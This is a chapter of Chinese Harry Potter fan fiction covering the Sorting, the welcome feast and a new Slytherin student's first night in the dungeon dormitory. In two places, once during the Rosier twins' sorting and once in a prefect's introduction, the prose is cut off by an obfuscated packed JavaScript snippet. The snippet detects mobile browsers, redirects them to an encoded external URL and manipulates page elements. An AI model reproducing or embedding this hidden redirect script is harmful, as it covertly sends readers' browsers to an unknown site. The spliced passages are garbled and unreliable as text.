“开学宴马上就要开始了。不过在到达礼堂后,首先要确认你们各自将进入哪一所学院。” “分院是一项非常重要的仪式。因为你们霍格沃兹的在校期间,学院就是你们的家。你们要与学院里的其他同学一起在上课,一起在学院的宿舍住宿,一起在学院的公共休息室里度过课余时间。” “四所学院的名字分别是:格兰芬多、赫奇帕奇、拉文克劳……”麦格教授的眼神巡视着所有新生,“……和斯莱特林。” 西格纳斯听着,发现麦格教授在念到“斯莱特林”时,语音从之前略微拖长、尾音上挑的升调,变成了短促收束、尾音下沉的降调。 ——这位女巫并不喜欢斯莱特林,或者说至少是不喜欢现在的一部分斯莱特林;但是她正在努力地压抑自身的情绪,尽力以公平、公正的态度来介绍四所学院。 “每所学院都拥有自己的光荣历史,都培育出了杰出的巫师。” 西格纳斯在心下轻叹一口气,在麦格教授的视线巡视到自己身上时,微微倾身,颔首致意。 女巫的话语只不易察觉地停顿了一瞬,然后就继续说了下去: “你们在霍格沃兹就读期间,出色的表现将为你们所在的学院获得加分,而任何违规行为都会导致你们学院减分。年终时,得分最高的学院将获得学院杯——这是很高的荣誉。” “我希望你们无论分到哪所学院,都能为学院争光。” 麦格教授说完,拍了拍手掌,“现在,我建议你们好好整理一下自己,精神一些——分院仪式马上就要在全校师生面前举行,在等待期间,请保持安静。” “等那边准备好了,我就来接你们。”说着,高挑的女巫离开了这个小房间。西格纳斯听到不只一个松气的声音,看来不少新生对这位威严的女士感到敬畏。 “你看起来没什么需要整理的,”洛塔尔的声音响起,“除了鞋子。” 西格纳斯低头一看,他曾经崭新的黑色牛皮短靴,此刻□□燥的泥巴裹了一圈——可见之前那条泥泞小路的威力。 他瘪了瘪嘴,“真没想到,”他抽出自己的金合欢木魔杖,“在拿到我自己的魔杖后,我用的最多的竟然是家务魔法——Scourgify(清理一新)。” 牛皮短靴焕然一新。 罗齐尔双胞胎也清理了各自裤脚和鞋子上的泥巴。 ——《实用家务魔法(Practical Household Magic)》一书的含金量还在上升。 “往好处想,用除垢咒总比需要用到修复咒好些。”站在旁边的莱伊·拉德福德,对着自己变形的眼镜镜腿用了“Reparo(修复如初)”。 而他们流畅的魔咒使用,也把旁边几个新生看得目瞪口呆。 *** “好了,新生们。” 当麦格教授再次出现的时候,新生们大多已经整理好了自己的形象。 “现在,所有人排成单行,跟我走。” 他们排着队穿过门厅,走到了礼堂门口。 礼堂的双扇大门打开了,宽敞的大厅显露在眼前——高年级的学生们坐在四张长桌两侧,桌面上摆放着光洁闪亮的餐盘和高脚杯;成千上万的蜡烛漂浮在长桌上方的半空中,将整个礼堂照得透亮;如天鹅绒般漆黑的天花板上,闪烁着点点星光,与外界的天空一模一样。 礼堂正前方,是一张铺着华丽桌布的主宾长桌。 桌子中间摆着一张金色靠背椅,一位银发飘逸、胡须及胸的老人正坐在那里。那应当就是霍格沃兹的校长——阿不思·邓布利多。 他右手边的位置空着,西格纳斯推测那是麦格教授的座位。 他的左手边,是一位身穿黑色长袍、脸色灰黄、黑色头发泛着油光——标准的沉迷魔药、无心形象的造型——的教授,显而易见,应该就是现任斯莱特林院长兼魔药课教授西弗勒斯·斯内普——卡斯托提前重点介绍过的。 斯内普教授右侧,是一位胖乎乎、面相柔和的灰发女巫,西格纳斯猜测她应当是赫奇帕奇或是拉文克劳的院长。 与她位置对应的,麦格教授座位的左侧,坐着一位……似乎是垫了许多层软垫的矮小教授,从位置上推测,他应该就是最后一位院长了。 还没等西格纳斯观察完整个教师席位,他们已经被麦格教授带到了教师席前,并让他们转身面对全体高年级学生——即背对着教师席,排成一排。 在摇曳的烛光中,被几百道目光注视着,就算是自认镇定的西格纳斯,也忍不住有些心跳加速。 一个四脚凳被轻轻的放在新生面前,麦格教授手中提着一顶尖顶巫师帽——那是一顶又脏又破旧的帽子,甚至还打着补丁——放在了凳子上。 在礼堂的寂静中,那顶帽子忽然扭动了起来,同时裂开了一道宽宽的缝隙,就像一张嘴,忽然唱起了歌: “一千年前我还是顶新帽, 四位传奇为我注入思想。 他们的名字,无人不知晓; 他们的故事,至今被传唱。 格兰芬多,那是勇敢的模样; 拉文克劳,那是知识的闪光; 赫奇帕奇,那是包容的温暖; 斯莱特林,那是野心的锋芒。 他们将重任,交付于我, 让我来判定,你更适合哪方? 如格兰芬多,用无畏引燃希望; 如拉文克劳,用智慧点破迷茫; 如赫奇帕奇,用温柔凝聚力量; 如斯莱特林,用谋略守护殿堂。 现在来吧!将我戴在头上。 即使旧帽已经斑驳,布满岁月的沧桑; 我仍坚守着职责,跨越千年的时光。 审视你的内在,指引你的方向。” 帽子唱完歌,整个礼堂立刻响起如雷的掌声。帽子向四张长桌鞠躬——如果那种扭动可以算作鞠躬的话——随后就静止不动了。 麦格教授手中握着一份羊皮卷,向前走了几步,“我现在叫到谁的名字,谁就过来,坐到凳子上,戴上帽子,然后听候分院。” 她展开羊皮卷,开始叫出第一个名字—— “普莉娅·巴纳吉(Priya Banerjee)!” 一位有着浅棕色皮肤、浓密黑色长卷发的小姑娘走了出来。她有些迟疑地拿起帽子,坐到凳子上,犹豫地将帽子戴在了头上。片刻停顿后—— “格兰芬多!” 礼堂最右侧、铺着金红色桌布的长桌立刻爆发出热烈的掌声,欢呼庆贺着这位新生的到来。 “利亚姆·巴罗(Liam Barrow)!” 又一个学生走出了队列,常见的棕色头发,绿色的眼睛里闪动着不安,他走向四脚凳时,脚下一绊差点摔倒,引来了几声明显的窃笑——这显然令他更紧张了。 “赫奇帕奇!” 这次掌声响起的方向,是中央靠右侧、铺着黑黄色桌布的长桌。满脸雀斑的赫奇帕奇新生摘下帽子,带着几分激动,跑了过去。 “赫德森·布鲁姆 (Hudson Bloom)!” 赫德森显然没想到这么快就轮到自己,被叫到名字时下意识一颤,走到凳子处,有些紧张地戴上了帽子。 “赫奇帕奇!” 赫德森摘下帽子,脸颊红润地小步跑向赫奇帕奇的长桌边。高年级赫奇帕奇为他让出了一个位置,亲切地拉他入座。 “西奥多·布克尔(Theodore Booker)!” “拉文克劳!” 以铜蓝色色铺就的长桌上,响起了欢迎新生的掌声。 “托马斯·卡特(Thomas Carter)!” …… 西格纳斯发现了名单的规律,应当是以姓氏的首字母为顺序。 他在心里估算着自己的位置——“P”是个处于中间位的字母,也许自己不用等得太久?倒是之前认识的拉德福德、罗齐尔兄弟,似乎都排在自己后面。 …… “亚历克斯·梅森(Alex Merson)” “拉文克劳!” 西格纳斯计算着,“M”之后是“N”和“O”,应该很快就该轮到自己了。 “黛拉·奥唐纳(Della O''Donnell)” “格兰芬多!” …… “伊莫金·佩奇(Imogen Page)” “赫奇帕奇!” …… “西格纳斯·普林斯-埃弗瑞(Siegnais Prince-Everay)!” 果然很快就轮到了自己,西格纳斯步履从容地走到四脚凳旁,拿起那顶脏兮兮的帽子——尽量把它看成一件珍奇的魔法古董,多少能降低对于它卫生状况的不满——戴在了头上。 “嗯……强烈的求知欲,”耳边传来一个细微的声音,仿佛在做着某种评估,“足以进入拉文克劳。” 西格纳斯挑了挑眉,嘴角轻轻上翘,心中毫不客气地想着,“但是?” “但是!”那个声音显然立刻就接收到了他的回应,“当然!毫无疑问!很少有人比你更适合——” “斯莱特林!” 礼堂最左边的银绿色长桌,响起了今天的第一次掌声。 西格纳斯微笑着摘下帽子,站起身,将帽子放回四脚凳上。向站在一旁唱名的麦格教授微微倾身行礼,又转向教师席行礼致意,随后才起身走向斯莱特林的长桌。 斯莱特林长桌两侧的人数,明显少于其他三个学院;而他们的掌声,比起“欢迎”,也更像是某种礼仪性质的表演——不过西格纳斯对此,完全不会介意。 分院仪式还在继续,所幸在西格纳斯之后,斯莱特林总算开始分到新生。 在几个新生完成分院后,终于轮到了西格纳斯今天新认识的三个人。 “莱伊·拉德福德 (Lay Radford)!” 恹恹的黑发少年戴上帽子—— “拉文克劳!” 斯莱特林长桌旁,拉文克劳的长桌,以掌声欢迎新人的到来。 莱伊·拉德福德落座前,对上了西格纳斯的视线,两人彼此点头致意。 “埃里希·罗齐尔 (Erich Rosier)!” 接下来轮到了罗齐尔双胞胎。 在埃里希走向帽子时,西格纳斯听到斯莱特林的长桌上有人小声交流起来: “罗齐尔?是我想到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117898|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个‘罗齐尔’吗?” “两年前的那家?” 没等他们讨论出答案,帽子已经先行给出了判断:“斯莱特林!” 斯莱特林长桌又一次响起掌声。而紧接着—— “洛塔尔·罗齐尔 (Lothar Rosier)!” 斯莱特林长桌上再一次传来讨论声: “又一个‘罗齐尔’?” “长得很像……一模一样,双胞胎吗?” 这次帽子给出结果的时间更快,几乎是刚一戴上就宣布了结果:“斯莱特林!” 在斯莱特林矜持而克制的掌声中,罗齐尔兄弟坐在了西格纳斯的右侧。 …… “菲利斯·罗尔(Phylis Rowle)” “斯莱特林!” …… “拜伦·塞尔温(Byron Selwyn)” “斯莱特林!” …… “多纳汉·特姆利特(Donaghan Tremlett)!” “赫奇帕奇!” …… 在最后一位新生安娜·沃林顿(Anna Warrington)被分去斯莱特林之后,分院仪式终于正式结束。 麦格教授收好羊皮卷,拿起分院帽离开。 坐在主席台中间的阿不思·邓布利多校长站了起来。这位精神矍铄的老人张开双臂,仿佛在拥抱所有学生,拥抱这所屹立千年的古老学校。 “欢迎啊,孩子们。”他说着,洪亮的声音传遍礼堂的每一个角落,“欢迎大家来霍格沃兹开始新的学年。” “在宴会开始前,我来讲几句话。那就是:柠檬茶!雏菊!明天天气很好!” “谢谢大家。” 与格兰芬多那边兴奋地欢呼鼓掌不同,西格纳斯的掌声有些迟疑——没人跟他说过,鼎鼎大名的邓布利多校长是这个样子的啊? “那是霍格沃兹的校长?”埃里希的声音似乎也有些怀疑。“巧克力蛙里的画片,可不是这么说的。”洛塔尔的声音也随之响起,他手上还拿着一张巧克力蛙拆出来的收集卡——正是霍格沃兹特快上,赫德森拆开的那一盒的卡片。 画片上的老者眨了眨眼睛,下方书写的名字正是:阿不思·邓布利多。卡片背面则列举着他的功业—— “阿不思·邓布利多,现任霍格沃兹校长 被公认的当代最伟大的巫师 邓布利多广为人知的贡献包括: 1945年击败黑巫师格林德沃 发现火龙血的十二种用途 与合作伙伴尼可·勒梅在炼金术上的研究卓有成效” “那的确是他。”一位高年级的斯莱特林搭话,他明显对“罗齐尔”这个姓氏很感兴趣,“我们可以边吃边说!” 长桌上已经冒出了琳琅满目的食物:碳烤小羊排配时蔬、烤仔鸡、香煎牛排、香肠拼盘、炸鱼排、烤薯角、炸薯条、牧羊人派、约克郡布丁、酸奶沙拉……以英国饮食水平来说,的确算得上一场盛宴。 在礼堂的另一侧忽然传来几声惊呼,西格纳斯随着众人的目光看去,只见格兰芬多和赫奇帕奇的长桌中央,分别冒出了一个珍珠白色的透明人形,正贴着餐桌表面飞过——那是霍格沃兹城堡里的幽灵。 斯莱特林长桌的尽头也有一位,不过形象完全不同:形容枯槁,双目呆滞,身上缠绕着看着就显沉重的镣铐,长跑上沾满银色的血斑。他不像其他学院的幽灵那样,愉快地与学院的新生交流,而是沉默地坐在餐桌的一角——斯莱特林长桌上,有足够多的空位置供他选择。 “一个‘普林斯’?”陌生的声音在西格纳斯的侧后方响起,待他转头去看,来人已经自顾自地在他的左侧落座——与其他学院拥挤的长桌相比,连常规空位都填不满的斯莱特林长桌,反倒提供了额外的便利。 来者明显是一位高年级的斯莱特林。他顶着一头深棕近黑的微曲短发,苍白的肤色搭配着双眸的深灰色,显得他整个人空洞又冷漠。 “卡西乌斯·博克(Cassius Burke)。”他手中的高脚杯与西格纳斯的手边的杯子轻轻一碰,自我介绍,“四年级。” 西格纳斯举杯,轻轻抿了一口高脚杯中的清水,带着几分正式,却又看似漫不经心地回应,“‘普林斯’的‘埃弗瑞’旁支。” “那也是我唯一见过的‘普林斯’。”卡西乌斯说着,目光与长桌对面的某人视线交汇,轻轻点了下头,然后转头看向西格纳斯,“毕竟‘普林斯’家族已经很久没在魔法界活动了。” 几乎所有纯血巫师家庭都知道的一件事:那个曾因魔药天赋而为人称道的普林斯家族,主支早已断绝。直至西格纳斯入学前,这座城堡已经很久、没有迎来过以“普林斯”为姓氏的家族后裔了——无论是主支还是旁支。 “魔药是一门高深的艺术,不是所有人都能很好的掌握这份技艺——只有最有天赋的那些少数人,才能真正传承这份智慧。”西格纳斯的笑容冰冷又傲慢,就像每一个斯莱特林都熟悉的那样,“但对我们埃弗瑞(Everay)这一支来说——只要传承未绝,‘普林斯’便常青(The‘Prince’will remain Evergreen)。” 卡西乌斯深灰色的眸子再次扫过了长桌对面,似乎又一次与某人以眼神交换了信息,嘴角轻轻勾起一个不易察觉的弧度。之后视线转回西格纳斯,空洞的深灰色中带着几分不甚明显的讥讽:“所以,以‘普林斯’之名?” 西格纳斯闻言,忍不住嗤笑了一声,“若是只能炫耀先辈的荣光,那岂不是说明,自身只剩蠢笨与无能?”他露出清晰的、表露出不屑与嫌弃的表情,墨绿色的眼眸带着不容置疑的锐意和自傲,“只有蠢货才会这么做。” 沉默了片刻,卡西乌斯·博克没有再看向任何人,而是深深地看了西格纳斯一眼,最后伸出了与他脸色同样苍白的右手:“那么……欢迎你来到斯莱特林。” 西格纳斯伸手礼貌地回握,微笑着回应:“我的荣幸。” 4. 地窖 晚宴结束时,邓布利多教授又一次站了起来,礼堂也恢复肃静。 “哦,想必大家已经吃饱喝足了,那么是时间再说几句了。在学期开始的时候,我要向大家提出几点注意事项:” “首先,让我们欢迎新任的黑魔法防御课课教授——巴纳比·克洛维(Barnaby Clovey)教授!” 霍格沃兹的黑魔法防御课教授职位相当有名。据说是一个被神秘人诅咒了的位置,没有哪个人能顺利连任——总会有各种意外状况发生,让授课教师不得不每年都发生更换。 卡斯托提起这件事时说,有人曾私下怀疑神秘人还没死的一个重要原因,就是黑魔法防御课的诅咒还未解除——在卡斯托最后一学年,即1982年9月入职的埃弗拉德·斯威夫特(Everard Swift)教授,就因为在一次课堂演示中,展示其未开发完全的记忆类咒语,出现意外,将他自己的短期记忆彻底打乱。醒来后的教授无法连贯地记住过去一周发生的事情,也无法进行复杂教学,于是不得不离职休养。 “愿梅林保佑这个可怜人。”西格纳斯在掌声的间隙,听到旁边拉文克劳长桌的方向,有人这样低喃着。 “然后,一年级的新生需要注意,未经教师带领,严格禁止任何学生进入学校场地上那片林区——不仅仅是新生,老生也要好好记住这一点。” 邓布利多那双半月眼镜下仍旧闪亮的眼睛,看向了格兰芬多的金红色长桌——显然,那边的惯犯可是不少。 “再有,不要在走廊、庭院、礼堂里施法,相信我,你的教授们会很欢迎你们在教学区域进行练习。” “哦,还有,魁地奇球员审核工作,将在两周后举行。凡是希望参加学院代表队的同学,请与霍琦女士联系——对了,一年级新生除外。”邓布利多补充的这一句,让西格纳斯不出意料地听到了不少新生懊恼的叹息声。 “最后,夜间宵禁的时间是晚上9点,9点以后不得离开本学院的公共休息室。”邓布利多说着,拍了拍手,“所以,在大家回到寝室前,让我们一起来唱校歌吧!” 西格纳斯确信,在邓布利多提起“校歌”一词之后,其他教师的笑容都僵住了。 邓布利多将他的魔杖轻轻一弹,金色的烟雾从他魔杖的顶端冒出,扩散、扭动,凝聚成了一行行闪烁着星光的文字。 “来吧!来吧!每个人选择自己喜欢的曲调!”邓布利多挥舞着魔杖,把它当成指挥棒,“预备——唱!” “霍格沃兹,霍格沃兹,霍格沃兹,霍格沃兹,请教给我们知识……” 西格纳斯张了张嘴,还是没能吐出哪怕一个音符。 他现在理解了教师席的教授们,那铁青的脸色因何而来了——耳边炸响的稀奇古怪的调子所叠加出来的混乱音阶、有快有慢到让人糟心的诡异节奏……若是巴赫、贝多芬、莫扎特等音乐家死后有知,怕不是变成阴尸也要从墓地里爬出来,与当代最伟大的巫师大战三百回合。 而当他听见罗齐尔兄弟竟然饶有兴趣的以德国小调哼唱了两句时,只觉得眼前一黑,甚至一瞬间产生了“也许让神秘人统治这个巫师界也不错”的荒谬想法。 等大家七零八落地唱完这首校歌,邓布利多更是擦了擦眼睛感叹道:“音乐,真是充满魅力啊!” 西格纳斯深吸一口气,他理论上同意邓布利多的观点——但是如果可以,他绝对不想沦落到,和邓布利多具有同等审美的地步。 “好了各位,是就寝的时间了。”邓布利多说着,“大家回寝室去吧!” 教师们从主宾席上站起,目送各自学院的学生回寝室。 学院长桌的桌面变得干干净净,学生们纷纷站起身来。 格兰芬多的方向是最吵闹的——他们用比赫奇帕奇更少的人数,输出了至少三倍于赫奇帕奇的声量。那个呼喊着“格兰芬多!格兰芬多都来我这!”的声音——西格纳斯微微眯了一下眼睛——与霍格沃兹特快上的那个级长男声对上了。 赫奇帕奇人数最多,人流像是成群的旅鼠或是狐獴,抱着团地向礼堂外移动。窸窸窣窣的小声交谈,因为人员基数过大,而交汇成了低频的嗡嗡声。 拉文克劳的人数就要少的多,也安静的多。他们汇集在拉文克劳的级长身后,以极低的音量交谈着,陆续离开礼堂。 斯莱特林今年一共仅迎来了9名新生,7男2女。与格兰芬多、赫奇帕奇动辄几十人的新生数量没得比,但也算丰收——毕竟1982年时,斯莱特林险些招不到新生。 “斯莱特林新生,随我们来。”一男一女两位高年级斯莱特林走到了最前方,他们胸前佩戴着一枚银绿交织的徽章,那应当是级长的标志。 西格纳斯看见卡西乌斯·博克走向一位身姿挺拔的银发女巫,在她身边站定,与她交谈;交谈过程中,偶尔还会看向自己的方向——看来这位蓝眼睛的女士,就是刚刚那个与博克进行眼神交流的人。 有其他高年级斯莱特林从她身边经过时,与她打招呼——从口型来看,应该叫的是……“弗利女士”?原来这位就是“弗利女士”。 不足五十人的队伍与其他学院庞大的队伍相比,透出一种人丁寥落的凋敝感。 他们走出礼堂,在大理石楼梯左侧,有一篇门,门后是一条通往地下的石阶,石阶很长,以一个缓和的弧度向下延伸;行至石阶尽头后,一道拱形石廊出现在眼前,阴冷昏暗的走廊里,零星的火把分布在两侧粗糙的石壁上,提供的光亮非常有限。 不同于其他新生紧跟在级长身边,西格纳斯和罗齐尔兄弟坠在队伍的最后,边走边观察着周围的环境。 走廊的长度惊人,或者说,那不断盘绕回折如同迷宫一般的长廊,让人无法明确感知到真实的长度。 “这里的好处,就是皮皮鬼(Peeves)不常出现。”行走间,一个音乐般的男声,在身边响起。 西格纳斯循声望去,只见一位深色头发、肤色在走廊幽幽的绿光中显得偏深、脸上带着热情爽朗笑容的人,正看着自己。 “皮皮鬼?”西格纳斯好奇。 卡斯托在西格纳斯入学前,为他介绍了学校的基本情况,包括学院分别、核心课程、重要人物等,介绍了校长、院长们,以及其他几门重要课程的教授(当然,不包括一年一变的黑魔法防御课教授),但并未包括城堡里的幽灵等存在——毕竟卡斯托一向认为,要给西格纳斯的校园生活留点未知的惊喜——即使西格纳斯觉得他并不需要什么惊喜,尤其是类似“入学前体能测试”这类的。 “一种霍格沃兹特产的……幽灵?也不算是幽灵,更应该称呼为‘骚灵’……总之就是一种捣蛋鬼,热衷于恶作剧,经常给人带来麻烦——尤其喜欢欺负新生。”男生亲切地介绍道,“据说只有咱们斯莱特林的幽灵,也就是血人巴罗先生,能震慑住他,。” 血人巴罗,指的应该就是先前长桌尽头出现的,那位一直沉默着的幽灵。 “感谢你的介绍,先生。”西格纳斯微笑着表达感谢。 “安东尼奥·埃斯波西托-霍兰德(Antonio Esposito-Hollander),二年级。”他自我介绍着,“来自阳光明媚的西西里。”然后,他停下脚步,摆出一个夸张的宫廷觐见礼,继续说道:“你也可以叫我‘安东尼’,有什么问题都可以来问我——为美人服务是我的荣幸。” “油嘴滑舌的意大利人,”埃里希忽然插嘴,“说出口的话,可信度总要打个折扣。”说着,推着西格纳斯继续往前走。 安东尼奥站直身体追上队伍,毫不示弱地回应,“还是第一次有人因为国籍而批判我,真不愧是鼎鼎大名的‘罗齐尔’。” 洛塔尔闻言也加入战局:“卡米拉·埃斯波西托 (Camilla Esposito)女士声名赫赫,我们总要提醒一下。” “没想到欧陆的巫师,这么关注我母亲这样一位普通的麻瓜啊!”安东尼奥笑得一脸阳光,但在走廊的绿色光源映衬下,有股说不清的阴沉。 “西西里的‘埃斯泼西托’,”洛塔尔也笑着回应,“那可不是普通的麻瓜,不是吗?——地下王女‘强娶王夫’的故事,我们在慕尼黑都听说过。” 西格纳斯终于想起来“埃斯泼西托”这个姓氏在哪里听过了——之前卡斯托当睡前故事讲起过:卡米拉·埃斯波西托,意大利黑手党埃斯泼西托家族的“皇太女”。十几年前,作为一个知晓魔法界存在的麻瓜,她看上了一位去西西里参加魔法植物交流活动的英国巫师,最后竟然将那名男巫“强抢入赘”了!——这正是卡斯托“男孩子在外面要学会保护自己”教育故事的素材来源啊! 制止这场口头纷争的,是另一个人伸过来的手——一把扯住安东尼奥的衣领,将人拉回了原先的位置,同时说着:“快到了,别去跟新生贫嘴了。” 安东尼奥显然符合“贫嘴”这个评价,他立刻将注意力转向了对方:“哈伦,亲爱的,你这是吃醋了吗?放心,就算有再多美人,你也是最特殊的那个,毕竟我们同床共——” 被称为“哈伦”的人出手,精准地捏住了安东尼奥的嘴巴,制止了他的话语。他语气带出几分无力,“别把住在同一个寝室说得这么暧昧。”然后,他转头向身后的西格纳斯等人一点头,“哈伦·特拉弗斯 (Harlan Travers),也是二年级。” 安东尼奥挣脱了哈伦的手——他本身也没用多大力气,说道:“现在整个斯莱特林二年级,只有我们两个人。我们结伴同行,相依为命——嗷!”安东尼奥叫了一声,原来是哈伦踩了他的脚一下,制止了他继续满嘴跑火车式的发言。 此时,一堵石墙出现在了走廊的尽头,除了潮湿渗水的石壁之外,周围一片空荡。 队伍停在石壁前。 “所有人都是记住,本周的口令是:权利(Authority)”领路的男级长转身对着众人说道。 随着他的话语,一道石门浮现,然后无声滑开,露出了其后的隐藏空间——斯莱特林的公共休息室: 整个空间狭长、低矮,墙壁和天花板都是粗糙且湿润的石壁结构;由链子拴着的灯,从天花板上垂了下来,散发着莹莹的绿光;巨大的落地窗之外,是同样幽绿的湖水,偶尔还能看见不只是什么生物的影子,被投射在长窗之上。 绿幽幽的灯光和湖水,让整个休息室空间呈现出一种浓郁的墨绿色调,给人一种仿佛水下百年沉船般的寂静幽深感。 雕刻精美的壁炉里燃着一堆炭火,带来额外的光亮和温暖,壁炉周边摆放着黑色雕花椅,上面分散堆放着墨绿色的丝绒靠枕;同样款式的雕花茶几上,暂时还没有摆上任何装饰。 出乎意料的是,据说会被送到寝室的行李,竟然也被堆放在休息室的一侧。 两位带路的级长对视一眼,女级长首先开口说道:“除了一年级新生,其他人请先回寝室吧!” 斯莱特林们没有表现出异议,男女生分成两个方向,返回各自的寝室。西格纳斯看见博克目送弗利女士进了通道,随后自己才走向寝室;安东尼奥在离开前,还冲着西格纳斯挥了挥手。 现场只剩另外两名高年级斯莱特林,也是一男一女,还没有离开。其中这位女士看了看留下来的新生,开口道:“两位女生,可以带着行李先回去休息——你们只有两个人,必然是住在同一间寝室的。” 两位女性新生对视一眼,其中一位开口询问:“我们可以留在这里看一下吗?” 西格纳斯记得分院仪式时,麦格教授称呼她为“格兰达·塔格伍德(Glenda Tugwood)”。 之所以会记住这个名字,完全是因为“塔格伍德”这个姓氏——18世纪末至19世纪初,有一位著名的美容药剂先驱和魔药大师:发明了多种革命性的美容魔药,同样登上了巧克力蛙画片——萨克丽萨·塔格伍德(Sacharissa Tugwood)女士,魔法美容药剂学领域的奠基人之一。 “当然可以,你们来我这里。”那位女士回应,然后转头看向刚刚和自己一起留下来的男士,“阿仕顿(Ashton),你来安排吧!” “好的,伊莫金(Imogen)小姐。”这名高年级斯莱特林男生点了点头,然后转向新生们,“我是阿仕顿·维尔德(Ashton Wylde),六年级男级长;这位是伊莫金·福斯特(Imogen Fr ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117899|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ost)女士,六年级女级长。” 他说完,又介绍起之前带路的两位级长:“维克托·弗罗斯泰尔(Victor Frostell),五年级男级长。”说着,名为“维克多”的级长点头致意,“以及埃洛伊丝·诺克特(Eloise Nockert)女士,五年级女级长。”被点名的女级长也起身行礼。 “想必你们也疑惑,为什么行李没有被放入寝室。”维尔德级长说,“这是因为,之前由于一些原因,发生过比较严重的寝室纷争,涉及到寝室更换的问题。” 他说得相当含蓄,但只要稍微想想,就能猜到肯定不会真的仅是这么轻描淡写的矛盾。 “斯内普院长不希望,将时间浪费在调节寝室纠纷上。”他继续说着,“所以,他给了你们一个机会——只在今晚有效的机会:你们可以自行选择寝室的舍友,所幸我们现在有足够多的空房间——当然,没有单人寝室的选项。” 西格纳斯眉头微挑,感觉摸到了一点院长的行事癖好。 “你们可以自行决定和谁同住。”维尔德的话语相当意味深长,“决定的方法,任你们选择——而我们这些级长,仅是见证和监督。” 西格纳斯瞥见了塞尔温和罗尔家的两人,似乎蠢蠢欲动地想要掏出魔杖,不由得感觉有些可笑——大家都是11岁孩童的水平,那点可怜的魔力储备,难道要用家务魔咒或恶作剧魔咒一决胜负吗? 这么想着,西格纳斯并没有掏出魔杖,而是从自己的随身药剂包里,抽出了两支成品药剂夹在指间。 “我不介意谁是我的室友。”西格纳斯说着,“但是,若是影响到我了,我更不介意……”话没有说完,他晃了晃指间的魔药瓶,意有所指。 说完,他看向五年级和六年级的级长,“请问我可以先回寝室吗?我可有不少东西需要整理呢!” 四位级长有些诧异地互相对视一眼,最后还是名为阿仕顿·维尔德的男性六年级级长点了头。 西格纳斯抽出自己的魔杖,在行李箱的家徽上一点,所有属于自己的行李就都浮了起来,跟随者西格纳斯向寝室走去——感谢卡斯托思虑周全,家徽下暗刻了辩识咒、漂浮咒、移动咒等全套辅助魔咒,只需要一点魔力就能激活,甚至不需要咒语——仿佛是无声咒一样的效果,狠狠地震慑住了不知情的同龄人。 西格纳斯回头看了看同年的新生,目光与罗齐尔兄弟交汇了一瞬,然后转身走进了寝室的通道。 进入寝室首先注意到的,就是门口正对着的墙壁上,两扇落地长窗,月光透过幽绿的湖水,在窗上留下荡漾的水纹;天花板上悬挂着银色的灯笼,给室内增添了一道光源。在水光和灯光的映衬下,四张悬挂着绿色丝绸制帷幔的四柱床,分别摆在房间的两侧。 每张床的床头,都是一组三层的柜格,可以用来随手放置一些小件物品;床边则都配有一个兼具衣柜功能的储物柜,方便学生放置自己的私人物品。 靠门一侧的墙壁上,悬挂着中世纪艺术风格的挂毯,描绘着一些冒险故事。 西格纳斯选中了房间左手边、靠近落地窗一侧的四柱床,打开行李箱,指挥着暂时用不上的行李物品,一件件地飘进施加了空间优化魔法的储物柜里;为床铺换上了以银线绣着常春藤纹的床单、枕头、抱枕等床上用品;将之前没看完的书籍、小型魔法道具、一些摆件,还有定制的魔杖架,放在了床头的柜格中。最后,将腾空的行李箱缩小,放置在储物柜的最底层;随身的手提箱,则维持着原本大小,塞在了床底。 他将自己的随身魔药包也放在了床头柜格中,看着小包轻轻一笑。里面放置的不过是安眠药水(Sleeping Daught)、清醒剂(Wideye Potion)、咳嗽药水(Cough Potion)、提神剂(Pepperup Potion)等日常药剂而已——霍格沃兹怎么可能同意学生携带高危魔药呢? 收拾好一切,西格纳斯没有急着去洗漱,而是爬上床,拿起了床头柜格中双面镜,呼唤起兄长的名字。 “西格尼?”卡斯托接通双面镜的速度很快,在看到弟弟身后熟悉的墨绿色帷幔后,露出了微笑,“地窖的感觉怎么样?” 西格纳斯在床铺上滚了一圈,“还不错!避光、阴凉、适度的湿润,最适合魔药稳定产出的环境。”他说着,“当初选址的斯莱特林阁下真是天才!” 卡斯托忍不住轻笑出声,然后继续问道,“那霍格沃兹呢?感觉如何?” “你还敢说!”提起自家哥哥瞒着自己的内容,西格纳斯就一肚子的抱怨,“我从下了特快开始……”西格纳斯絮絮叨叨的向兄长抱怨起这一路“所受的委屈”来。 “……那个校歌,实在是太难听了!”西格纳斯说着开学宴的琐事时,终于有人进入了寝室。他抬头看去——罗齐尔兄弟一前一后地走了进来。 “西格尼?”弟弟忽然不说话了,正听得津津有味的卡斯托忍不住呼唤了一声。 “啊,我室友进来了。”西格纳斯回应着。 卡斯托这才发现,兄弟俩已经聊了好一会了,“对了,明天你就要开始上课了。”卡斯托说着,“你需要早点睡,今天就到此为止吧!先去盥洗室洗漱,然后早点休息。咱们可以之后再接着聊。” “嗯,那卡索你也早点休息。” “好梦,西格尼。” 兄弟俩的双面镜对话结束,西格纳斯将双面镜放回床头柜格中。 他倚靠着床柱,看着罗齐尔双胞胎收拾行李,“我还以为我会享受到双人间呢!” 洛塔尔一边用魔杖指挥着床单铺平,一边回应,“两个‘纯血至上’,一个魁地奇狂人,一个……普普通通?反正是毫无特色的家伙。你想换谁来?” “也许……普普通通?”西格纳斯坐在床边摆着腿,“我可以当他不存在。” 